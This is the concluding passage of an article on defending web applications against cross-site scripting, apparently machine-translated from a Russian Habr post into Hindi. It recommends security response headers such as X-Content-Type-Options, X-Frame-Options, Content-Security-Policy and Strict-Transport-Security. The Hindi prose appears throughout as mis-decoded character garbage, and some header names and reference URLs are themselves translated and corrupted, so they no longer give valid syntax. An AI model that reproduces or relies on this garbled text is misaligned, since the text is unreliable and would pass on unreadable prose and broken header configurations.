рдХреБрдЫ рдХреЗ рд▓рд┐рдП, рдпреЗ рдирд┐рдпрдо рдирд┐рд░рд░реНрдердХ рдФрд░ рдЕрдирд╛рд╡рд╢реНрдпрдХ рд▓рдЧ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ (рдкрдврд╝реЗрдВ: рдмрдбрд╝реЗ рдФрд░ рдЬрдЯрд┐рд▓) рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ, рдПрдХреНрд╕рдПрд╕рдПрд╕ рд╕реЗ рдЫреБрдЯрдХрд╛рд░рд╛ рдкрд╛рдиреЗ рдХрд╛ рдХреЛрдИ рдЕрдиреНрдп рддрд░реАрдХрд╛ "рдпрд╣ рдХреЗрд╡рд▓ рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ ..." рд╣рдорд▓реЗ рдХреЗ рдЦрд┐рд▓рд╛рдл рд▓рдбрд╝рд╛рдИ рд╣реЛрдЧреА, рдФрд░ рдирд╣реАрдВ рднреЗрджреНрдпрддрд╛ рдХреЗ рд╕рд╛рдеред рдкрд░рд┐рдгрд╛рдо рдХреЗ рд╕рд╛рде рдХрд┐ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдХрдВрдкрдирд┐рдпреЛрдВ рдХреА рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рдЬрд▓реНрдж рдпрд╛ рдмрд╛рдж рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдмрджрд▓ рдЬрд╛рддреЗ рд╣реИрдВред

рдЙрдкрд╕рдВрд╣рд╛рд░ рдХреЗ рд░реВрдк рдореЗрдВ: рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рд╣рдорд▓реЛрдВ рд╕реЗ рд▓рдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ?


рдлрд┐рд░ рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдиреБрд╕рд╛рд░ред рд╕рд┐рд░реНрдл рдЬрд╡рд╛рдмреА рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рд░рдХреНрд╖рд╛ рдХреЗ рджреВрд╕рд░реЗ рд╕реНрддрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рджреВрд░ рдХрд░рдиреЗ рдХреЗ рд╕рд╛рдзрди рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЕрдВрдд рдореЗрдВ, рдореИрдВ рдПрдХ рдФрд░ рд╕рд▓рд╛рд╣ рджреВрдВрдЧрд╛ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдкрдХреНрд╖ (рдХреЗрд╡рд▓ XSS) рдкрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдХрд╛рд░реНрдп рдХреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рдХреИрд╕реЗ рдЬрдЯрд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПред рд╕рднреА рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реЗрдбрд░ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдП:

X-Content-Type-Options: nosniff
msdn.microsoft.com/en-us/library/ie/gg622941 (v = vs85) .aspx

X-XSS-Protection: 1; рдореЛрдб = рдмреНрд▓реЙрдХ
msdn.microsoft.com/en-us/library/dd565647 (v = рдмрдирд╛рдо 85) .aspx

X- рдлрд╝реНрд░реЗрдо-рд╡рд┐рдХрд▓реНрдк: DENY
blogs.msdn.com/b/ieinternals/archive/2010/03/30/30/ рдХреЙрдореНрдмрд┐рдВрдЧ-рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ-рд╡рд┐рде-рдПрдХреНрд╕-рдлреНрд░реЗрдо-рдСрдкреНрд╢рдВрд╕.рд╕реНрдкреЗрдХреНрд╕

рдПрдХреНрд╕-рдХрдВрдЯреЗрдВрдЯ-рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА-рдкреЙрд▓рд┐рд╕реА:[рд╢реАрд░реНрд╖ рд▓реЗрдЦ рдХреЗ рдореВрд▓реНрдп рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдХрд╛рд░реНрдпрд╛рддреНрдордХ рд╕рд╛рдЗрдЯ рдХреЗ рд▓рд┐рдП рддрдХрдиреАрдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рдЖрдзрд╛рд░ рдХреЗ рд░реВрдк рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html ]

рд╕рдЦреНрдд-рдкрд░рд┐рд╡рд╣рди-рд╕реБрд░рдХреНрд╖рд╛ : max-age = expireTime
developer.mozilla.org/en/Security/HTTP_Strict_Transport_Security

рдкреНрд░рддреНрдпреЗрдХ рдХреЗ рдЙрджреНрджреЗрд╢реНрдп рдХреЛ рд╕реНрдкрд╖реНрдЯ рдХрд░реЗрдВ, рджрд┐рдП рдЧрдП рд▓рд┐рдВрдХ рдкрд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░рддреЗ рд╣реБрдП - рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕рдХрд╛ рдХреЛрдИ рдорддрд▓рдм рдирд╣реАрдВ рд╣реИред

рд╕реМрднрд╛рдЧреНрдп рд╣реИ

Source: https://habr.com/ru/post/In149152/


All Articles